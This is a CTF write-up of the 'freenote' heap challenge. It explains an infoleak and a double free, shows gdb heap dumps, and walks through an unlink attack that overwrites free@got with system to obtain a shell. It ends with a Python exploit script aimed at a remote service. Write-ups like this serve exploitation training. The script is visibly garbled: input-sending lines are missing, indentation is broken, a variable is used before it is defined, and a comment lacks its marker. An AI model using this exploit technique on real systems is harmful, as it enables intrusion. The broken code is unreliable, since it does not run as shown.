freenote – advanced heap exploitation

Author: Flanker


Freenote is a binary with infoleak and double free vulnerabilities and is a good practice for heap exploitation. The first vulnerability is when a note is deleted, its content isn’t zeroed and when another note is allocated at the very same location, the content of last allocation is still there. The second vulnerability is when freeing note the program does not check if the current note is actually already freed, causing a double free.


There are two data structures used in freenote, one we name it “NoteBook” and the other “Note”. Note book can be mapped to the following structure:

struct Notebook {
    int tot_cnt;
    int use_cnt;
    Note notes[256];

struct Note {
    int in_use;
    int content_length;
    char* content;

There are four operations available: list, delete, new, edit. Delete operation simply set the in_use field to zero and call free on the Note ptr, however it doesn’t check whether this note is already freed before (in_use field is already zero). Edit option checks if the new input lenght is equal to original one. If not, it will call realloc and then write new content into the origin note. New option mallocs a (len//0x80 + 1)*0x80 chunk and writes user input, notice no zmalloc or memeset zero is called. Thus lead to the first vulnerability – infoleak.

Heap baseaddress InfoLeak

As we stated before, neither new note or delete note operations zero outs memory. Recall the chunk struct of glibc malloc:

struct malloc_chunk { 
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 
    struct malloc_chunk* fd; /* double links -- used only if free. */ 
    struct malloc_chunk* bk; /* double links -- used only if free. */ 
    struct malloc_chunk* fd_nextsize; /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* bk_nextsize; /* Only used for large blocks: pointer to next larger size. */

And also, list note use %s format string to output note content, so we can free two non-adjacent note. This will make the first 16 bytes (for 64bit-arch or 8bytes for 32bit-arch) after size field, which is originally the “data”/”content” of in use note. Then we can new a note again, because freed chunk in bin list tend to be reused first, we will actually get the originally freed note. And write sizeof(malloc_chunk*) char into the note, call list note and we will get the bk pointer value.

We cannot just free one note and call new note on it because when there is only one free chunk, this chunk’s fd and bk will point to glibc global struct but not chunk on the heap. We need the heap address to bypass ASLR to exploit the next double-free vulnerability.

So steps are: – New four notes, 0,1,2,3 – Delete 0,2 – New note again, this time note 0’s chunk is reused, write 4bytes(32bit arch)/8bytes(64bit arch) – List note, get note2’s address, substract offset to get base heap address.

After 0 is freed:

gdb-peda$ x/100xg 0x604820
0x604820:    0x0000000000000000    0x0000000000000091
0x604830:    0x00007ffff7dd37b8    0x00007ffff7dd37b8

gdb-peda$ p main_arena
$3 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x604a60,
  last_remainder = 0x0,
  bins = {0x604820, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Notice currently chunk Note0 does not contain pointer to address on heap.

After 2 is freed:

(after free 2)
0x604820:    0x0000000000000000    0x0000000000000091(note 0 chunk)
0x604830:    0x00007ffff7dd37b8    0x0000000000604940(point to note2 free chunk)
0x604840:    0x0000000000000000    0x0000000000000000
0x604850:    0x0000000000000000    0x0000000000000000
0x604860:    0x0000000000000000    0x0000000000000000
0x604870:    0x0000000000000000    0x0000000000000000
0x604880:    0x0000000000000000    0x0000000000000000
0x604890:    0x0000000000000000    0x0000000000000000
0x6048a0:    0x0000000000000000    0x0000000000000000
0x6048b0:    0x0000000000000090    0x0000000000000090(note 1 chunk)
0x6048c0:    0x0000000062626262    0x0000000000000000
0x6048d0:    0x0000000000000000    0x0000000000000000
0x6048e0:    0x0000000000000000    0x0000000000000000
0x6048f0:    0x0000000000000000    0x0000000000000000
0x604900:    0x0000000000000000    0x0000000000000000
0x604910:    0x0000000000000000    0x0000000000000000
0x604920:    0x0000000000000000    0x0000000000000000
0x604930:    0x0000000000000000    0x0000000000000000
0x604940:    0x0000000000000000    0x0000000000000091(note 2 chunk)
0x604950:    0x0000000000604820    0x00007ffff7dd37b8(point back to note0 free chunk)
0x604960:    0x0000000000000000    0x0000000000000000

gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x604a60,
last_remainder = 0x0,
bins = {0x604940, 0x604820, 0x7ffff7dd37c8, 0x7ffff7dd37c8, 0x7ffff7dd37d8, 0x7ffff7dd37d8,

Double free

As note can be freed twice, we can use the unlink primitive to do a arbitrary write. But how do we bypass the glibc unlink FD->BK == P && BK->FD == P check? We will use 64bit arch in the following content of this article.

Remember there is also a pointer point to the note chunk in notes array, we call it “content”. A fake chunk with *(FD+3) == P == content and *(BK+2) == P == content will pass glibc’s check, thus make *P = P-3.

Free use prev_size to decide previous chunk’s address if prev_inuse (size&1) is false. If dlmalloc finds out previous chunk is free when freeing current chunk, it will do an unlink on previous chunk to remove it off freelist and merge with current chunk.

So we have a sckeleton idea, – Alloc 0,1,2, place fake chunk at 0 – Free 1,2 – Alloc 3 covering 1,2, so that we can construct a fake chunk in the original location of 2 – Call free on 2 again

What’s worthing noticing is that dlmalloc decides if current block is in use by checking next adjacent chunk’s in_use flag. So to make double free on 2 succeed, we need append two more fake chunks, and set them as in use. This is because:

For the following chunks (assume all valid chunks): | 1 | 2 | 3 | 4 | 5 |

When freeing 3, dlmalloc will check if 2 is in use using 3’s PREV_INUSE flag, and check if 4 is in use using 5’s PREV_INUSE flag. 5’s address is decided using 3’size + 3’address + 4’size. So when we make fake chunk 3, we must also append two “valid” fake inuse chunks after 3, to avoid SIGSEGV.


As we successfully perform a write, the memory layout of NoteBook struct, which is at the beginning of heap, becomes

gdb-peda$ x/40xg 0x11af000
0x11af000:    0x0000000000000000    0x0000000000001821
0x11af010:    0x0000000000000100    0x0000000000000002
0x11af020:    0x0000000000000001    0x0000000000000020
0x11af030:    0x00000000011af018    0x0000000000000001

Notice *P has becomes P-3, so by editing note we can overwrite P, pointing it to free@got or whatever convenient. When constructing note payload, notice the payload length should be equal to original one (0x20), or realloc will be called and our fake chunk will not pass realloc check. For the following note edit’s convenience (we’re writing a 8byte address to note 0, we can modify note0’s length as 8 here).

Then perform a note list to read free@got’s content, i.e. free’s address. Using this address we’re able to get system’s address. Then a write (note edit) is performed on note 0, remember we’ve already modified note0’s length to 8, thus avoiding realloc.


We choose to rewrite free@got because we can control its argument, e.g. freeing a note whose content is under our control like “/bin/sh”. So we can new a note with content “/bin/sh\x00”, then call rewrited free (now system) will give us a shell.

Example code (64bit and 32bit)


from zio import *
import time
#io = zio('./freenote1')
io = zio(("xxxx",10001))

def new_note(content):
    io.read_until("choice: ")

    io.read_until("new note: ")
    io.read_until("note: ")
    io.read_until("choice: ")

def free_note(nid):
    io.read_until("choice: ")
    io.read_until("number: ")

def read_note(nid):
    io.read_until("Your choice: ")
    notes = io.read_until("== 0ops Free Note ==")
        if notes.find("Invalid") != -1:
            io.read_until("Your choice: ")
            notes = io.read_until("== 0ops Free Note ==")
    for note in notes.split('\n'):
        if note[0] == str(nid):
            return note.split("%d. "%nid)[1]
    return ""
def mod_note(nid, content):
        io.read_until("Your choice: ")
        io.read_until("Note number: ")
        io.read_until("Length of note: ")
    io.read_until("Enter your note: ")
        io.read_until("choice: ")


#free block 0 and 2
out = read_note(0)
base_addr = l64(out[8:].ljust(8,"\x00")) - 144*2 - (0x604820 - 0x603000)

prev_size_offset = 144*2 + 128
#note addr begins at 0x603010 
FAKE_SIZE = prev_size_offset + 1
FAKE_FD_ADDR = base_addr + 0x18 #*(FD+4) = P
FAKE_BK_ADDR = base_addr + 0x20 #*(BK+3) = P

#free all notes, 0,1,2,3

new_note(l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + l64(FAKE_FD_ADDR) + l64(FAKE_BK_ADDR))

FAKE_PREV_SIZE = prev_size_offset
FAKE_SIZE = 0x90

#alloc chunk at (2,3)
new_note('a'*128 + l64(FAKE_PREV_SIZE) + l64(FAKE_SIZE) + 128*'a' + (l64(0) + l64(0x91) + 128*'a')*2)
#alloc note0 with fake chunk
#now free block 1, then alloc block4 at block(1,2)
#fake chunk 2 should have prev_size points to chunk 0 data area


now *p = p-3, modify note 1 to free@got
mod_note(0, l64(0x2) + l64(0x1) + l64(0x8) + l64(0x602018))

free_addr = l64(read_note(0).ljust(8, "\x00"))
system_addr = free_addr - (0x76C60 - 0x40190)#libc at pwn server
#system_addr = free_addr - (0x82df0 - 0x46640)
mod_note(0, l64(system_addr))


电子邮件地址不会被公开。 必填项已用*标注